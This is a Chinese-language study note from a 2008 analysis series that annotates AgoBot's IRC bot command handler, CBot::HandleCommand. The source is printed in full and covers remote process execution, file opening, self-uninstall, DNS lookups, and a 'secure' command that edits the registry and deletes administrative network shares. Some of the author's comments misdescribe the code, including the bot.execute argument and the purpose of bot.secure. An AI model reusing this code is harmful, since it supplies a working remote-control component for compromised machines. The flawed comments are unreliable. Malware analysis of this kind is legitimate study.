十三、2008年04月08日
作者:青青子衿
email:[email protected]
CInstaller 類分析完成,回到CBot類的分析
1、 CBot :: HandleCommand ( CMessage * pMsg ) 函數
//////////////////////////////////////////////////////////////
//
//函數功能:處理髮送來的由bot類負責處理的消息
//參數: CMessage *pMsg 接收到的消息
//返回值: 處理成功返回true,否則返回false
//
/////////////////////////////////////////////////////////////
bool CBot :: HandleCommand ( CMessage * pMsg )
{
//處理bot.remove指令,完成將bot程序從受控計算機上刪除的任務,另外bot.removeallbut需要在後邊添加要刪除的bot的ID
if (! pMsg -> sCmd . Compare ( "bot.remove" ) || ! pMsg -> sCmd . Compare ( "bot.removeallbut" ))
{
CString sId ( pMsg -> sChatString . Token (1, " " , true ));
if (! pMsg -> sCmd . Compare ( "bot.removeallbut" ))
{
//如果是bot.removeallbut指令,那麼從bot的id列表中查找是否有該ID的bot
if (! sId . Compare ( g_cMainCtrl . m_cBot . bot_id . sValue ))
{
//如果沒有找到返回false
return false ;
}
}
//發送處理的返回消息到服務器,參數1標識是否處於靜默狀態,參數2標識發送模式
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "removing bot..." , pMsg -> sReplyTo );
#ifdef WIN32
if ( g_cMainCtrl . m_cBot . as_enabled . bValue ) //★★這個變量的初始值是什麼呢,爲什麼在這裏直接用了呢。
{
//這裏的作用是刪除啓動項,爲完全刪除bot最準備。
g_cMainCtrl . m_cInstaller . RegStartDel ( g_cMainCtrl . m_cBot . as_valname . sValue );
}
#endif
g_cMainCtrl . m_cInstaller . Uninstall (); //卸載bot程序:生成刪除bot程序的批處理。
g_cMainCtrl . m_cIRC . m_bRunning = false ; //IRC類中的運行狀態設置爲false
g_cMainCtrl . m_bRunning = false ; //全局變量中的運行狀態設置爲false
}
else if (! pMsg -> sCmd . Compare ( "bot.execute" )) //處理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示運行的次數,notepad.exe 要運行的文件
{
CString sText ( pMsg -> sChatString . Token (2, " " , true )); //取得以空格作爲分隔符的第二段字符串 ,要運行的進程的文件名
bool bVisible = atoi ( pMsg -> sChatString . Token (1, " " ). CStr ())==1; //獲取該進程運行的次數,將字符串形式表示的數字轉化成整數
#ifdef WIN32
CString sTextExp ;
ExpandEnvironmentStrings ( sText . CStr (), sTextExp . GetBuffer (8192), 8192); // 通過環境變量對字符串進行擴充interpret environment variables
sText . Assign ( sTextExp );
PROCESS_INFORMATION pinfo ;
STARTUPINFO sinfo ;
memset (& sinfo , 0, sizeof ( STARTUPINFO ));
sinfo . cb = sizeof ( sinfo );
if ( bVisible ) //設置進程的運行模式
{
sinfo . wShowWindow = SW_SHOW ;
}
else
{
sinfo . wShowWindow = SW_HIDE ;
}
//創建指定的進程
if (! CreateProcess ( NULL , sText . Str (), NULL , NULL , TRUE , NORMAL_PRIORITY_CLASS | DETACHED_PROCESS , NULL , NULL , & sinfo , & pinfo ))
{
//如果進程創建失敗,向控制端發回消息,could't execute file.
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't execute file." , pMsg -> sReplyTo . Str ());
return false ;
}
#else
//在linux模式下,創建新的進程
CString sCmdBuf ;
sCmdBuf . Format ( "/bin/sh -c /"%s/"" , sText . CStr ());
if ( system ( sCmdBuf . CStr ())==-1)
{
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't execute file." , pMsg -> sReplyTo . Str ());
return false ;
}
#endif
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.open" )) //處理open指令
{
if (!( pMsg -> sChatString . GetLength () > ( pMsg -> sCmd . GetLength ()+ pMsg -> sChatString . Token (1, " " ). GetLength ()+3)))
{
//這裏爲什麼要這樣判斷還不清楚。
return false ;
}
CString sText ;
sText . Assign (& pMsg -> sChatString [ pMsg -> sCmd . GetLength ()+2]);
bool bRet = false ;
#ifdef WIN32
bRet =( int ) ShellExecute (0, "open" , sText . CStr (), NULL , NULL , SW_SHOW )>=32; //打開指定的文件
#else
bRet = system ( sText . CStr ())>0; //linux 平臺中打開某個程序。
#endif
if ( bRet ) //根據打開文件的成功與否,分別發送不同的返回信息
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "file opened." , pMsg -> sReplyTo . Str ());
}
else
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , "couldn't open file." , pMsg -> sReplyTo . Str ());
}
}
else if (! pMsg -> sCmd . Compare ( "bot.dns" )) //處理dns指令
{
CString sReply ;
hostent * pHostent = NULL ;
in_addr iaddr ;
if (! pMsg -> sChatString . Token (1, " " ). Compare ( "" ))
{
return false ;
}
unsigned long addr = inet_addr ( pMsg -> sChatString . Token (1, " " ). CStr ()); //提取dns指令後的,字符串,將其轉換成IP地址
if ( addr != INADDR_NONE ) //字符串爲一個IP地址,下面做的工作是通過ip 獲得他的域名
{
pHostent = gethostbyaddr (( char *)& addr , sizeof ( struct in_addr ), AF_INET );
if ( pHostent )
{
sReply . Format ( "%s -> %s" , pMsg -> sChatString . Token (1, " " ). CStr (), pHostent -> h_name );
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ()); //把獲得的結果發送給控制端
}
} else //如果轉換失敗,則可確定,後邊的字符串是一個域名,則下面做的工作是根據域名,來獲得IP地址
{
pHostent = gethostbyname ( pMsg -> sChatString . Token (1, " " ). CStr ()); //獲得IP地址
if ( pHostent )
{
iaddr =*(( in_addr *)* pHostent -> h_addr_list );
sReply . Format ( "%s -> %s" , pMsg -> sChatString . Token (1, " " ). CStr (), inet_ntoa ( iaddr ));
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ()); //將獲得的IP地址返回給控制端
}
}
if (! pHostent ) //如果pHostent的值爲null,說明無法獲得該dns的信息
{
sReply . Format ( "couldn't resolve host /"%s/"!" , pMsg -> sChatString . Token (1, " " ). CStr ());
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReply . Str (), pMsg -> sReplyTo . Str ());
}
}
else if (! pMsg -> sCmd . Compare ( "bot.about" )) //處理about指令,返回AgoBot相關的信息
{
CString sReplyBuf ;
sReplyBuf . Format ( "%s by Ago ([email protected]). homepage: http://none.yet/" , g_cMainCtrl . m_sNameVerStr . CStr ());
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , sReplyBuf . Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.id" )) //返回botID的指令
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , bot_id . sValue . Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.nick" )) //返回bot的暱稱
{
g_cMainCtrl . m_sUserName . Format ( "%s" , pMsg -> sChatString . Token (1, " " , true ). Mid (0, 32). CStr ());
g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" , g_cMainCtrl . m_sUserName . CStr ());
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.quit" ) || ! pMsg -> sCmd . Compare ( "bot.die" )) //處理bot推出指令
{
g_cMainCtrl . m_cIRC . m_bRunning = false ; //只在這裏標識bot需要推出。
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.sysinfo" )) //獲得系統信息
{
//SysInfo() 是CBot的成員函數
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , SysInfo (). Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.longuptime" )) //內部指令,返回在線時間長度的指令。
{
int iDays = atoi ( pMsg -> sChatString . Token (1, " " ). CStr ());
if (! iDays )
{
iDays =7;
}
CString sUptime = LongUptime ( iDays ); //調用longUptime函數,具體該指令的功能需要進一步分析了該函數之後才能知道,
if ( sUptime . Compare ( "" ))
{
g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , /
sUptime . Str (), pMsg -> sReplyTo . Str ());
}
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.status" ))
{
return g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent , pMsg -> bNotice , Status (). Str (), pMsg -> sReplyTo . Str ());
}
else if (! pMsg -> sCmd . Compare ( "bot.rndnick" )) //修改暱稱的指令,這裏只是推測,該指令對整體不是很重要
{
CString sRndNick = RndNick ( si_nickprefix . sValue . CStr ());
g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" , sRndNick . CStr ()); //由bot發送修改暱稱的指令到IRC服務器
g_cMainCtrl . m_sUserName . Format ( "%s" , sRndNick . Mid (0, 32). CStr ()); //修改本地所保存的暱稱
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.flushdns" )) //刷新本地的dns記錄
{
#ifdef WIN32
Execute ( "ipconfig.exe" , "/flushdns" );
#else
Execute ( "nscd" , "-i hosts" );
#endif // WIN32
return true ;
}
else if (! pMsg -> sCmd . Compare ( "bot.secure" )) //幫助文件中沒有的內部指令
{
#ifdef WIN32
// Set EnableDCOM to "N"
HKEY hkey = NULL ;
DWORD dwSize =128;
char szDataBuf [128];
sprintf ( szDataBuf , "N" );
dwSize = strlen ( szDataBuf );
/*
修改註冊表
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/OLE 的鍵值
"EnableDCom" = "N"
減低安全設置
*/
LONG lRet = RegOpenKeyEx ( HKEY_LOCAL_MACHINE , "Software//Microsoft//OLE" , 0, KEY_READ , & hkey );
RegSetValueEx ( hkey , "EnableDCOM" , NULL , REG_SZ , ( unsigned char *) szDataBuf , dwSize );
RegCloseKey ( hkey );
// Secure Shares
system ( "net share c$ /delete /y" );
system ( "net share d$ /delete /y" );
system ( "net share ipc$ /delete /y" );
system ( "net share admin$ /delete /y" );
//上面操作的中心目的在於設置網絡共享
#endif
return true ;
}
return false ;
}